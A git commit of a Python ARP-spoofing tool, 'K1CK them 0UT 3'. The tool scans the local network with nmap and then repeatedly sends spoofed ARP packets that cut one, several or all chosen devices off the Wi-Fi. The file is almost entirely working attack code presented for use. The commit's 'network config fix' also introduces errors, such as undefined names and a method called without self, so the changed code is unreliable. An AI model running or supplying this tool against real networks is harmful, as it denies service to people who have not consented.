<commit_before>#!/usr/bin/env python3

import time, os, sys, logging, math
from datetime import timedelta
from time import sleep
import requests
import R_spoof
BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m'

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)  # Shut up scapy!
try:
    from scapy.all import *
    import nmap
except:
    print("\n{0}ERROR: Requirements have not been satisfied properly. Please look at the README file for configuration instructions.".format(RED))
    print("\n{0}If you still cannot resolve this error, please submit an issue here:\n\t{1}https://github.com/R3DDY97/K1CK_them_0UT3/issues\n{2}".format(RED, BLUE, END))
    raise SystemExit

# check whether user is root
if os.geteuid() != 0:
    print("\n{0}ERROR: K1CKThemOut3 must be run with root privileges. Try again with sudo:\n\t{1}$ sudo python3 L0CK.py{2}\n".format(RED, GREEN, END))
    raise SystemExit

class K1CK():

    def heading(self):
        spaces = " " * 70
        sys.stdout.write(RED + spaces + """


        KK  KK IIIII  CCCCC  KK  KK  tt    hh
        KK KK   III  CC    C KK KK   tt    hh        eee  mm mm mmmm
        KKKK    III  CC      KKKK    tttt  hhhhhh  ee   e mmm  mm  mm
        KK KK   III  CC    C KK KK   tt    hh   hh eeeee  mmm  mm  mm
        KK  KK IIIII  CCCCC  KK  KK   tttt hh   hh  eeeee mmm  mm  mm

         OOOOO  UU   UU TTTTTTT        333333
        OO   OO UU   UU   TTT             3333
        OO   OO UU   UU   TTT   _____    3333
        OO   OO UU   UU   TTT              333
         OOOO0   UUUUU    TTT          333333


        """ + END + BLUE +
        '\n' + '{0}K1CK devices accesing your Wifi  ({1}K1CK TH3M 0UT 3{2}){3}'.format(YELLOW, RED, YELLOW, BLUE).center(98) +
        '\n' + 'Made With <3 by: {0}SH3RL0CK ({1}B4TM4N{2}) & {0}W4TS0N ({1}AGN3S{2}){3}'.format(
            YELLOW, RED, YELLOW, BLUE).center(111) +
        '\n' + 'Version: {0}0.2{1}\n'.format(YELLOW, END).center(86))


    def optionBanner(self):
        print('\n\tChoose option from menu:\n')
        sleep(0.2)
        print('\t\t{0}[{1}1{2}]{3} K1CK ONE Off'.format(YELLOW, RED, YELLOW, WHITE))
        sleep(0.2)
        print('\t\t{0}[{1}2{2}]{3} K1CK SOME Off'.format(YELLOW, RED, YELLOW, WHITE))
        sleep(0.2)
        print('\t\t{0}[{1}3{2}]{3} K1CK ALL Off'.format(YELLOW, RED, YELLOW, WHITE))
        sleep(0.2)
        print('\n\t\t{0}[{1}E{2}]{3} Exit K1CK-Them-0UT\n'.format(YELLOW, RED, YELLOW, WHITE))

    def scanNetwork(self):

        try:
            routing = scapy.config.conf.route.routes
            gateway = scapy.utils.ltoa(routing[-1][0])
            netmask = 32 - int(round(math.log(0xFFFFFFFF - (routing[-1][1]), 2)))
            self.defaultGatewayIP = routing[1][2]
            self.defaultInterface = routing[-1][3]
            self.defaultInterfaceMAC = get_if_hwaddr(self.defaultInterface)
            self.defaultInterfaceIP = routing[-1][4]
            self.GatewayInterface = "{0}/{1}".format(gateway,netmask)


                # Scanning Network using nmap
            nm = nmap.PortScanner()
            scanDict = nm.scan(hosts=self.GatewayInterface, arguments='-n -sP -PE')
            self.onlineIPs = nm.all_hosts()
            self.IPlist = self.onlineIPs
            self.IPlist.remove(self.defaultInterfaceIP)
            self.hostsList = [[x,nm[x]['addresses']['mac']] for x in self.IPlist]
            self.macList = [[nm[x]['addresses']['mac']] for x in self.IPlist]
            self.defaultGatewayMac = nm[self.defaultGatewayIP]['addresses']['mac']

        except KeyboardInterrupt:
            print('\n\n\t{0}ThanK Y0U for DR0PP1NG by \n \tSEE U S00N!{1}\n\n'.format(YELLOW, END))
            raise SystemExit

    # resolve mac address of each vendor
    def resolveMac(self,mac):

        url = "http://macvendors.co/api/vendorname/"
        Site = requests.get(url + mac)
        vendor = Site.content.decode("utf-8")
        return vendor

    # ########################################################################################


    # K1CK one device
    def K1CKoneoff(self):
        os.system("clear||cls")
        print("\n{0}K1CK-ONE-0ff{1} iz selected...{2}\n".format(RED, GREEN, END))
        sys.stdout.write("\n\t{0}Scanning your N3TW0RK, H4NG 0N...{1}\r".format(RED, END))
        self.scanNetwork()

        print("\n\n\t\t{0}Online IPs: ".format(MAGENTA))
        print("\t\t-----------\n")
        print("{0}   No \t {1}IP ADDRESS \t {2}MAC ADDRESS   \t\t {3}VENDOR NAME {4}\n".format(YELLOW, WHITE, RED, GREEN, END))
        for i,j in enumerate(self.hostsList):
            ip = self.hostsList[i][0]
            mac = self.hostsList[i][1]
            vendor = self.resolveMac(mac)
            print("  {0}[{5}]\t{1}{6}\t{2}{7}\t{3}{8}{4}".format(YELLOW, WHITE, RED, GREEN, END,i,ip,mac,vendor))


        canBreak = False
        while not canBreak:
            try:
                choice = int(input("\n\t{0}CH00SE a target:-{1} ".format(WHITE,END)))
                one_target_ip = self.hostsList[choice][0]
                one_target_mac = self.hostsList[choice][1]
                vendor = self.resolveMac(one_target_mac)
                canBreak = True
            except:
                print("\n{0}ERROR: Please enter a number from the list!{1}".format(RED, END))
                return


        print("\n\t{0}Target:-  {5}{1} - {6}{3}  -  {7}{4} {2}".format(RED,one_target_ip, END,one_target_mac,vendor,WHITE,RED,GREEN))

        print("\n\t {0}SP00FING has started...& Press CTRL+C keys to stop it {1}\n".format(BLUE, END))
        print("\n \t {1}  K1CK3D {0} - 0UT 0F Wifi{2}\n".format(one_target_ip,RED,END))

        start = time.time()

        try:

            while True:
                # broadcast malicious ARP packets (10p/s)
                R_spoof.sendPacket(self.defaultInterfaceMAC, self.defaultGatewayIP, one_target_ip, one_target_mac)
                elapsed = timedelta(seconds = round(time.time() - start))
                print("\r \t {0}  ATT4CK DUR4T10N :- {1} seconds{2}".format(YELLOW,elapsed,END),end="")
                time.sleep(10)
        except KeyboardInterrupt:
            return

    #########################################################################################

    # K1CK multiple devices
    def K1CKsomeoff(self):
        os.system("clear||cls")
        print("\n{0}K1CK-S0ME-0ff{1} iz selected...{2}\n".format(RED, GREEN, END))
        sys.stdout.write("\n\t{0}Scanning your N3TW0RK, H4NG 0N...{1}\r".format(GREEN, END))
        sys.stdout.flush()
        self.scanNetwork()
        if len(self.hostsList) == 2:
            print("\n\n\tThere are not more than ONE device to K1CK.. Select K1CKoneoff\n\n\t")
            return

        print("\n\t\t{0}Online IPs: ".format(MAGENTA))
        print("\t\t-----------\n")
        print("{0}   No \t {1}IP ADDRESS \t {2}MAC ADDRESS   \t\t {3}VENDOR NAME {4}\n".format(YELLOW, WHITE, RED, GREEN, END))
        for i,j in enumerate(self.hostsList):
            ip = self.hostsList[i][0]
            mac = self.hostsList[i][1]
            vendor = self.resolveMac(mac)
            print("  {0}[{5}]\t{1}{6}\t{2}{7}\t{3}{8}{4}".format(YELLOW, WHITE, RED, GREEN, END,i,ip,mac,vendor))


        canBreak = False
        while not canBreak:
            try:
                choice = input("\nChoose devices to target(comma-separated): ")
                if ',' in choice:
                    some_targets = choice.split(",")
                    canBreak = True
                else:
                    print("\n{0}ERROR: Please select more than 1 devices from the list.{1}\n".format(RED, END))

            except KeyboardInterrupt:
                return


        some_ipList = []
        some_ipMac = []


        try:
            for i in some_targets:
                some_ipList.append(self.hostsList[int(i)][0])
                some_ipMac.append(self.hostsList[int(i)][1])


        except KeyboardInterrupt:
            return
        except:
            print("\n{0}ERROR: {1}{4}{2} is not in the list.{3}\n".format(RED, GREEN, RED, END,i))
            return


        print("\n\t{0}Targets:-   {1}\n\n\t\tIPs --->  {2}\n\t\tMACs -->  {3}".format(GREEN, END,some_ipList,some_ipMac))

        print("\n\t {0}SP00FING has started...& Press CTRL+C keys to stop it {1}\n".format(BLUE, END))
        print("\n \t {0}K1CK3D them  0UT 0F Wifi{1}\n".format(RED,END))

        try:
            start = time.time()
            while True:
                # broadcast malicious ARP packets (10p/s)
                for i in some_targets:
                    R_spoof.sendPacket(self.defaultInterfaceMAC, self.defaultGatewayIP, self.hostsList[int(i)][0], self.hostsList[int(i)][1])
                    elapsed = timedelta(seconds = round(time.time() - start))
                    print("\r \t {0}  ATT4CK DUR4T10N :- {1} seconds{2} \n".format(YELLOW,elapsed,END),end="")
                time.sleep(10)

        except KeyboardInterrupt:
            return


    # ########################################################################################

    # K1CK all devices
    def K1CKalloff(self):
        os.system("clear||cls")

        print("\n{0}K1CK-ALL-Off{1} iz selected...{2}\n".format(RED, GREEN, END))
        sys.stdout.write("\n\t{0}Scanning your N3TW0RK, H4NG 0N...{1}\n".format(GREEN, END))
        sys.stdout.flush()
        self.scanNetwork()

        print("\n\t\tOnline IPs: ")
        for i in range(len(self.IPlist)):
            mac = ""
            for host in self.hostsList:
                if host[0] == self.IPlist[i]:
                    mac = host[1]
            vendor = self.resolveMac(mac)
            print(" {0}[{5}]\t{1}{6}\t{2}{7}\t{3}{8}{4}".format(YELLOW, WHITE, RED, GREEN, END,i,self.IPlist[i],mac,vendor))

        print("\n\t {0}SP00FING has started...& Press CTRL+C keys to stop it {1}\n".format(BLUE, END))
        print("\n \t {0}K1CK3D ALL  0UT 0F Wifi{1}\n".format(RED,END))
        try:
            # broadcast malicious ARP packets (10p/s)
            start = time.time()
            reScan = 0
            while True:
                for host in self.hostsList:
                    if host[0] != self.defaultGatewayIP:
                        # dodge gateway (avoid crashing network itself)
                        R_spoof.sendPacket(self.defaultInterfaceMAC, self.defaultGatewayIP, host[0], host[1])
                        elapsed = timedelta(seconds = round(time.time() - start))
                        print("\r \t {0}  ATT4CK DUR4T10N :- {1} seconds{2} \n".format(YELLOW,elapsed,END),end="")
                reScan += 1
                if reScan == 4:
                    reScan = 0
                    scanNetwork()
                time.sleep(10)

        except KeyboardInterrupt:
            return


    # ########################################################################################

    # script's main function
    def main(self):
        self.heading()
        print("\n{0}Using interface {1}{10}{2} with mac address {3}{11}{4}.\nGateway IP: {5}{12}{6} --> {7}{13}{8} hosts are up.{9}".format(GREEN, RED, GREEN, RED, GREEN, RED, GREEN, RED, GREEN, END,self.defaultInterface,self.defaultGatewayMac,self.defaultGatewayIP,len(self.hostsList)))
        # display warning in case of no active hosts
        if len(self.hostsList) == 1:
            if self.hostsList[0][0] == self.defaultGatewayIP:
                print("\n{0}{1}WARNING: There are {2}0{3} hosts up on you network except your gateway.\n\tYou can't K1CK anyone off {4}:/{5}\n".format(GREEN, RED, GREEN, RED, GREEN, END))
                raise SystemExit

        try:
            while True:
                os.system("clear||cls")
                self.heading()
                self.optionBanner()
                header = ('{0}K1CKthemout{1}> {2}'.format(BLUE, WHITE, END))
                choice = input(header)

                if choice.upper() == 'E' or choice.upper() == 'EXIT':
                    print('\n\n\t\t{0}ThanK Y0U for DR0PP1NG by \n\n\t\tSEE U S00N!{1}\n\n\n'.format(YELLOW, END))
                    raise SystemExit
                elif choice == '1':
                    self.K1CKoneoff()
                elif choice == '2':
                    self.K1CKsomeoff()
                elif choice == '3':
                    self.K1CKalloff()
                elif choice.upper() == 'CLEAR':
                    os.system("clear||cls")
                else:
                    print("\n{0}ERROR: Please select a valid option.{1}\n".format(RED, END))

        except KeyboardInterrupt:
            print('\n\n\t{0}ThanK Y0U for DR0PP1NG by \n \tSEE U S00N!{1}\n\n'.format(YELLOW, END))


if __name__ == '__main__':
    os.system("clear||cls")
    sys.stdout.write("\n\t{0}Scanning your N3TW0RK, H4NG 0N...{1}\r".format(GREEN, END))
    sys.stdout.flush()
    watson = K1CK()
    watson.scanNetwork()
    watson.main()
<commit_msg>fixed netwrok config errors<commit_after>#!/usr/bin/env python3

import time, os, sys, logging, math
from datetime import timedelta
from time import sleep
import requests, ipaddress
import R_spoof
BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m'

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)  # Shut up scapy!
try:
    from scapy.all import *
    import nmap
except:
    print("\n{0}ERROR: Requirements have not been satisfied properly. Please look at the README file for configuration instructions.".format(RED))
    print("\n{0}If you still cannot resolve this error, please submit an issue here:\n\t{1}https://github.com/R3DDY97/K1CK_them_0UT3/issues\n{2}".format(RED, BLUE, END))
    raise SystemExit

# check whether user is root
if os.geteuid() != 0:
    print("\n{0}ERROR: K1CKThemOut3 must be run with root privileges. Try again with sudo:\n\t{1}$ sudo python3 L0CK.py{2}\n".format(RED, GREEN, END))
    raise SystemExit

class K1CK():

    def heading(self):
        spaces = " " * 70
        sys.stdout.write(RED + spaces + """


        KK  KK IIIII  CCCCC  KK  KK  tt    hh
        KK KK   III  CC    C KK KK   tt    hh        eee  mm mm mmmm
        KKKK    III  CC      KKKK    tttt  hhhhhh  ee   e mmm  mm  mm
        KK KK   III  CC    C KK KK   tt    hh   hh eeeee  mmm  mm  mm
        KK  KK IIIII  CCCCC  KK  KK   tttt hh   hh  eeeee mmm  mm  mm

         OOOOO  UU   UU TTTTTTT        333333
        OO   OO UU   UU   TTT             3333
        OO   OO UU   UU   TTT   _____    3333
        OO   OO UU   UU   TTT              333
         OOOO0   UUUUU    TTT          333333


        """ + END + BLUE +
        '\n' + '{0}K1CK devices accesing your Wifi  ({1}K1CK TH3M 0UT 3{2}){3}'.format(YELLOW, RED, YELLOW, BLUE).center(98) +
        '\n' + 'Made With <3 by: {0}SH3RL0CK ({1}B4TM4N{2}) & {0}W4TS0N ({1}AGN3S{2}){3}'.format(
            YELLOW, RED, YELLOW, BLUE).center(111) +
        '\n' + 'Version: {0}0.2{1}\n'.format(YELLOW, END).center(86))


    def optionBanner(self):
        print('\n\tChoose option from menu:\n')
        sleep(0.2)
        print('\t\t{0}[{1}1{2}]{3} K1CK ONE Off'.format(YELLOW, RED, YELLOW, WHITE))
        sleep(0.2)
        print('\t\t{0}[{1}2{2}]{3} K1CK SOME Off'.format(YELLOW, RED, YELLOW, WHITE))
        sleep(0.2)
        print('\t\t{0}[{1}3{2}]{3} K1CK ALL Off'.format(YELLOW, RED, YELLOW, WHITE))
        sleep(0.2)
        print('\n\t\t{0}[{1}E{2}]{3} Exit K1CK-Them-0UT\n'.format(YELLOW, RED, YELLOW, WHITE))

    def scanNetwork(self):

        try:
            routing = scapy.config.conf.route.routes
            self.defaultGatewayIP = routing[1][2]
            self.defaultInterface = routing[1][3]
            self.defaultInterfaceIP = routing[1][4]
            self.defaultInterfaceMAC = get_if_hwaddr(defaultInterface)
            gateway = ".".join(defaultGatewayIP.split(".")[:-1] + ['0'])
            for i in routing:
                if int(ipaddress.IPv4Address(gateway)) in i:
                    netmask = 32 - int(round(math.log(0xFFFFFFFF - (i[1]), 2)))
            self.GatewayInterface = "{0}/{1}".format(gateway,netmask)


                # Scanning Network using nmap
            nm = nmap.PortScanner()
            scanDict = nm.scan(hosts=self.GatewayInterface, arguments='-n -sP -PE')
            self.onlineIPs = nm.all_hosts()
            self.IPlist = self.onlineIPs
            self.IPlist.remove(self.defaultInterfaceIP)
            self.hostsList = [[x,nm[x]['addresses']['mac']] for x in self.IPlist]
            self.macList = [[nm[x]['addresses']['mac']] for x in self.IPlist]
            self.defaultGatewayMac = nm[self.defaultGatewayIP]['addresses']['mac']

        except KeyboardInterrupt:
            print('\n\n\t{0}ThanK Y0U for DR0PP1NG by \n \tSEE U S00N!{1}\n\n'.format(YELLOW, END))
            raise SystemExit

    # resolve mac address of each vendor
    def resolveMac(self,mac):

        url = "http://macvendors.co/api/vendorname/"
        Site = requests.get(url + mac)
        vendor = Site.content.decode("utf-8")
        return vendor

    # ########################################################################################


    # K1CK one device
    def K1CKoneoff(self):
        os.system("clear||cls")
        print("\n{0}K1CK-ONE-0ff{1} iz selected...{2}\n".format(RED, GREEN, END))
        sys.stdout.write("\n\t{0}Scanning your N3TW0RK, H4NG 0N...{1}\r".format(RED, END))
        self.scanNetwork()

        print("\n\n\t\t{0}Online IPs: ".format(MAGENTA))
        print("\t\t-----------\n")
        print("{0}   No \t {1}IP ADDRESS \t {2}MAC ADDRESS   \t\t {3}VENDOR NAME {4}\n".format(YELLOW, WHITE, RED, GREEN, END))
        for i,j in enumerate(self.hostsList):
            ip = self.hostsList[i][0]
            mac = self.hostsList[i][1]
            vendor = self.resolveMac(mac)
            print("  {0}[{5}]\t{1}{6}\t{2}{7}\t{3}{8}{4}".format(YELLOW, WHITE, RED, GREEN, END,i,ip,mac,vendor))


        canBreak = False
        while not canBreak:
            try:
                choice = int(input("\n\t{0}CH00SE a target:-{1} ".format(WHITE,END)))
                one_target_ip = self.hostsList[choice][0]
                one_target_mac = self.hostsList[choice][1]
                vendor = self.resolveMac(one_target_mac)
                canBreak = True
            except:
                print("\n{0}ERROR: Please enter a number from the list!{1}".format(RED, END))
                return


        print("\n\t{0}Target:-  {5}{1} - {6}{3}  -  {7}{4} {2}".format(RED,one_target_ip, END,one_target_mac,vendor,WHITE,RED,GREEN))

        print("\n\t {0}SP00FING has started...& Press CTRL+C keys to stop it {1}\n".format(BLUE, END))
        print("\n \t {1}  K1CK3D {0} - 0UT 0F Wifi{2}\n".format(one_target_ip,RED,END))

        start = time.time()

        try:

            while True:
                # broadcast malicious ARP packets (10p/s)
                R_spoof.sendPacket(self.defaultInterfaceMAC, self.defaultGatewayIP, one_target_ip, one_target_mac)
                elapsed = timedelta(seconds = round(time.time() - start))
                print("\r \t {0}  ATT4CK DUR4T10N :- {1} seconds{2}".format(YELLOW,elapsed,END),end="")
                time.sleep(10)
        except KeyboardInterrupt:
            return

    #########################################################################################

    # K1CK multiple devices
    def K1CKsomeoff(self):
        os.system("clear||cls")
        print("\n{0}K1CK-S0ME-0ff{1} iz selected...{2}\n".format(RED, GREEN, END))
        sys.stdout.write("\n\t{0}Scanning your N3TW0RK, H4NG 0N...{1}\r".format(GREEN, END))
        sys.stdout.flush()
        self.scanNetwork()
        if len(self.hostsList) == 2:
            print("\n\n\tThere are not more than ONE device to K1CK.. Select K1CKoneoff\n\n\t")
            return

        print("\n\t\t{0}Online IPs: ".format(MAGENTA))
        print("\t\t-----------\n")
        print("{0}   No \t {1}IP ADDRESS \t {2}MAC ADDRESS   \t\t {3}VENDOR NAME {4}\n".format(YELLOW, WHITE, RED, GREEN, END))
        for i,j in enumerate(self.hostsList):
            ip = self.hostsList[i][0]
            mac = self.hostsList[i][1]
            vendor = self.resolveMac(mac)
            print("  {0}[{5}]\t{1}{6}\t{2}{7}\t{3}{8}{4}".format(YELLOW, WHITE, RED, GREEN, END,i,ip,mac,vendor))


        canBreak = False
        while not canBreak:
            try:
                choice = input("\nChoose devices to target(comma-separated): ")
                if ',' in choice:
                    some_targets = choice.split(",")
                    canBreak = True
                else:
                    print("\n{0}ERROR: Please select more than 1 devices from the list.{1}\n".format(RED, END))

            except KeyboardInterrupt:
                return


        some_ipList = []
        some_ipMac = []


        try:
            for i in some_targets:
                some_ipList.append(self.hostsList[int(i)][0])
                some_ipMac.append(self.hostsList[int(i)][1])


        except KeyboardInterrupt:
            return
        except:
            print("\n{0}ERROR: {1}{4}{2} is not in the list.{3}\n".format(RED, GREEN, RED, END,i))
            return


        print("\n\t{0}Targets:-   {1}\n\n\t\tIPs --->  {2}\n\t\tMACs -->  {3}".format(GREEN, END,some_ipList,some_ipMac))

        print("\n\t {0}SP00FING has started...& Press CTRL+C keys to stop it {1}\n".format(BLUE, END))
        print("\n \t {0}K1CK3D them  0UT 0F Wifi{1}\n".format(RED,END))

        try:
            start = time.time()
            while True:
                # broadcast malicious ARP packets (10p/s)
                for i in some_targets:
                    R_spoof.sendPacket(self.defaultInterfaceMAC, self.defaultGatewayIP, self.hostsList[int(i)][0], self.hostsList[int(i)][1])
                    elapsed = timedelta(seconds = round(time.time() - start))
                    print("\r \t {0}  ATT4CK DUR4T10N :- {1} seconds{2} \n".format(YELLOW,elapsed,END),end="")
                time.sleep(10)

        except KeyboardInterrupt:
            return


    # ########################################################################################

    # K1CK all devices
    def K1CKalloff(self):
        os.system("clear||cls")

        print("\n{0}K1CK-ALL-Off{1} iz selected...{2}\n".format(RED, GREEN, END))
        sys.stdout.write("\n\t{0}Scanning your N3TW0RK, H4NG 0N...{1}\n".format(GREEN, END))
        sys.stdout.flush()
        self.scanNetwork()

        print("\n\t\tOnline IPs: ")
        for i in range(len(self.IPlist)):
            mac = ""
            for host in self.hostsList:
                if host[0] == self.IPlist[i]:
                    mac = host[1]
            vendor = self.resolveMac(mac)
            print(" {0}[{5}]\t{1}{6}\t{2}{7}\t{3}{8}{4}".format(YELLOW, WHITE, RED, GREEN, END,i,self.IPlist[i],mac,vendor))

        print("\n\t {0}SP00FING has started...& Press CTRL+C keys to stop it {1}\n".format(BLUE, END))
        print("\n \t {0}K1CK3D ALL  0UT 0F Wifi{1}\n".format(RED,END))
        try:
            # broadcast malicious ARP packets (10p/s)
            start = time.time()
            reScan = 0
            while True:
                for host in self.hostsList:
                    if host[0] != self.defaultGatewayIP:
                        # dodge gateway (avoid crashing network itself)
                        R_spoof.sendPacket(self.defaultInterfaceMAC, self.defaultGatewayIP, host[0], host[1])
                        elapsed = timedelta(seconds = round(time.time() - start))
                        print("\r \t {0}  ATT4CK DUR4T10N :- {1} seconds{2} \n".format(YELLOW,elapsed,END),end="")
                reScan += 1
                if reScan == 4:
                    reScan = 0
                    scanNetwork()
                time.sleep(10)

        except KeyboardInterrupt:
            return


    # ########################################################################################

    # script's main function
    def main(self):
        self.heading()
        print("\n{0}Using interface {1}{10}{2} with mac address {3}{11}{4}.\nGateway IP: {5}{12}{6} --> {7}{13}{8} hosts are up.{9}".format(GREEN, RED, GREEN, RED, GREEN, RED, GREEN, RED, GREEN, END,self.defaultInterface,self.defaultGatewayMac,self.defaultGatewayIP,len(self.hostsList)))
        # display warning in case of no active hosts
        if len(self.hostsList) == 1:
            if self.hostsList[0][0] == self.defaultGatewayIP:
                print("\n{0}{1}WARNING: There are {2}0{3} hosts up on you network except your gateway.\n\tYou can't K1CK anyone off {4}:/{5}\n".format(GREEN, RED, GREEN, RED, GREEN, END))
                raise SystemExit

        try:
            while True:
                os.system("clear||cls")
                self.heading()
                self.optionBanner()
                header = ('{0}K1CKthemout{1}> {2}'.format(BLUE, WHITE, END))
                choice = input(header)

                if choice.upper() == 'E' or choice.upper() == 'EXIT':
                    print('\n\n\t\t{0}ThanK Y0U for DR0PP1NG by \n\n\t\tSEE U S00N!{1}\n\n\n'.format(YELLOW, END))
                    raise SystemExit
                elif choice == '1':
                    self.K1CKoneoff()
                elif choice == '2':
                    self.K1CKsomeoff()
                elif choice == '3':
                    self.K1CKalloff()
                elif choice.upper() == 'CLEAR':
                    os.system("clear||cls")
                else:
                    print("\n{0}ERROR: Please select a valid option.{1}\n".format(RED, END))

        except KeyboardInterrupt:
            print('\n\n\t{0}ThanK Y0U for DR0PP1NG by \n \tSEE U S00N!{1}\n\n'.format(YELLOW, END))


if __name__ == '__main__':
    os.system("clear||cls")
    sys.stdout.write("\n\t{0}Scanning your N3TW0RK, H4NG 0N...{1}\r".format(GREEN, END))
    sys.stdout.flush()
    watson = K1CK()
    watson.scanNetwork()
    watson.main()

{'fraction_non_alphanumeric': 0.17566169992722258, 'fraction_numerical': 0.032328494273566474, 'mean_word_length': 2.016173752310536, 'pattern_counts': {'":': 0, '<': 5, '<?xml version=': 0, '>': 11, 'https://': 2, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 4, 'word_list_counts': {'cursed_substrings.json': 4, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '5404047', 'n_tokens_mistral': 9407, 'n_tokens_neox': 8695, 'n_words': 1887}